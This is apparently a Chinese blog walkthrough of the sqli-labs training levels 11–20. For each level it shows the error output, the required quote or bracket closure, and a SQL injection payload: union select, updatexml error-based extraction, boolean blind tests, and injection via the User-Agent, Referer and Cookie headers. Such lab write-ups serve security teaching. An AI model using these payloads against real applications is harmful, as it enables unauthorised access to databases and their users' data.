sqli-labs-Less-11-Less20

  • 前言

做到这里的同学对前十题的注入步骤都应该了解了吧,下文步骤和前文Less1-10的差不多,所以本文主要讲述闭合和前文不一样的地方,完整过程记得自己重新操作一遍哦。
  • Less-11
输入1不报错
输入1'报错
 MySQL server version for the right syntax to use near 'c ' LIMIT 0,1' at line 1
闭合为'
注入参考前文联合注入union
uname=1' union select 1,database()-- - &passwd=c &submit=Submit
  • Less-12

输入“报错
MySQL server version for the right syntax to use near 'c ") LIMIT 0,1' at line 1
可以看出闭合为")
参考联合注入union
uname=1") union select 1,database()-- -  &passwd=c &submit=Submit
  • Less-13

输入'报错
MySQL server version for the right syntax to use near 'c ') LIMIT 0,1' at line 
闭合为')
但是使用order by可以求出显示位,使用select不能显示数据库
所以参考报错注入updatexml
uname=-1') or updatexml(1,concat(0x7e,database()),0)-- -  &passwd=c &submit=Submit
  • Less-14

输入"报错
 MySQL server version for the right syntax to use near 'c " LIMIT 0,1' at line 1
闭合为"
参考报错注入updatexml()
uname=-1" or updatexml(1,concat(0x7e,database()),0)-- -   &passwd=c &submit=Submit
  • Less-15

输入' " )页面都不变化
这里选择布尔盲注
利用length()和ascii()来获取信息
输入1' or 1=1 -- -成功进入
输入1’ or length(database())=8-- -登录成功
详细步骤见布尔注入
  • Less-16

输入")登录成功
闭合为”)
判断数据库长度
uname=1") or length(database())=8-- -  &passwd=c &submit=Submit
详细步骤见布尔注入
  • Less-17

根据提示
[PASSWORD RESET]
    Dhakkan 
判断是密码重置,输入用户名Dhakkan
uname=Dhakkan&passwd=1 &submit=Submit显示登录成功
uname=Dhakkan&passwd=1' &submit=Submit加一个单引号报错
MySQL server version for the right syntax to use near 'dhakkan'' at line 1
闭合为'
uname=Dhakkan&passwd=1' or updatexml(1,concat(0x7e,database()),0)-- -   &submit=Submit
成功显示数据库
详细步骤见报错注入updatexml()
  •  Less-18

这道题目是http header型sql注入
输入Dhakkan和密码显示成功登录并且还有IP和完整的User Agent的信息的信息
更改User-Agent:1'
错误信息:at corresponds to your MySQL serverversion for the right syntax to use near '127.0.0.1''Dhakkan')' at line 1
可见插入语句是将UA字段内容和ip地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数(看逗号个数,之前的1没有显示出来),所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。
构造playload:1',2,3)-- -
成功显示
在参数3位置进行报错注入,详情见前文报错注入,httpheader型在pkahcu靶场也有一道类似的,只不过这个有三个参数
User-Agent:1',2,updatexml(1,concat(0x7e,database()),1))-- -
  • Less-19

输入账号密码见数据库user表
页面回显
Your Referer is: http://127.0.0.1/sqli-labs/Less-19/
更改Referer:1'报错
MySQL server version for the right syntax to use near '127.0.0.1')' at line 1
闭合为')其中)在最后,前面的1和后面的127.0.0.1组成两个参数,所以构造playload时要用逗号隔开
Referer:1',updatexml (1,concat(0x7e,database()),1))-- -
使用报错注入,详情见updatexml()
  • Less-20

这一关是cooki注入,cookie注入跟普通sql注入过程一样:输入账号密码回显

抓包更改Cookie
Cookie: uname=1'; PHPSESSID=jmp50d2hi5ag0jftqvtc3c3u30
页面回显,闭合为'
MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
使用uname=1' and updatexml(1,concat(0x7e,database()),1)-- -
使用报错注入,见updatexml()

tips:

方法不止一种,大家可以尝试不同的方法
关于为什么是这样的闭合,为什么注入点可以是http header referer Cookie在代码审计的时候就会明白
例如:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']); 
$cookee = $row1['username'];等等

 

posted @ 2023-03-26 11:18  Bin_Go  阅读(22)  评论(0编辑  收藏  举报